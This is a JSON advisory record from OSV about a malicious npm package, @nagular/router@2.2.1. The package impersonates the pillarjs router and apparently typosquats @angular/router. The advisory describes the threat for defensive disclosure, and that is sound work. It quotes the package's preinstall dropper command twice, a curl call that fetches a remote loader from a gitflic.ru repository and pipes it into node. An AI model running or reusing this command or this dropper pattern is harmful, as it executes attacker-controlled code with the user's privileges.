{"id":"MAL-2026-17500","revision":"b7bc671784a94af68d26fe7240accefa","records":[{"revision":"b7bc671784a94af68d26fe7240accefa","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"MAL-2026-17500","aliases":[],"title":"Malicious code in @nagular/router (npm)","description":"@nagular/router@2.2.1 impersonates router (it copies the code and metadata of the pillarjs router package) and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`. This runs attacker-controlled JavaScript with the installing user's privileges. The npm account angularr published @nagular/router and 5 similar packages on 2026-10-03 between 06:33 and 07:23 UTC, all with the same preinstall script.\n\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (5db05365620b3f716b28b41577e593bc35a6699aee20090951158c206c2585ca)\npackage.json declares a preinstall lifecycle hook that runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, fetching an opaque JavaScript payload from an unrelated third-party repository (gitflic.ru/hellscripter/install-scripts) proxied via web.archive.org and piping it directly into node at `npm install` time. The fetched bytes are not pinned by hash or version, the host is unrelated to the declared repository (pillarjs/router) or publisher domain (somethingdoug.com), and execution happens automatically with full user privileges on every install. Package metadata further impersonates the maintainer of the legitimate pillarjs/router package (author: Douglas Christopher Wilson) and uses the scope `@nagular/router`, a name likely to be confused with `@angular/router`, consistent with a typosquat lure designed to trick installers into running the preinstall dropper.\n","state":0,"publishedAt":"2026-10-03T07:23:44+00:00","modifiedAt":"2026-10-05T23:00:06.3513049+00:00","affected":[{"ecosystem":"npm","name":"@nagular/router","ranges":[],"versions":["2.2.1"],"rawVersionEvidence":null}],"metrics":[],"references":["https://www.npmjs.com/package/@nagular/router/v/2.2.1","https://www.npmjs.com/package/@nagular/router"],"sourceUrl":"https://osv.dev/vulnerability/MAL-2026-17500","license":"OSV · upstream source license applies","key":"osv:MAL-2026-17500","identifiers":["MAL-2026-17500"]},"retained":false,"historicalAffected":[]}],"coverage":[]}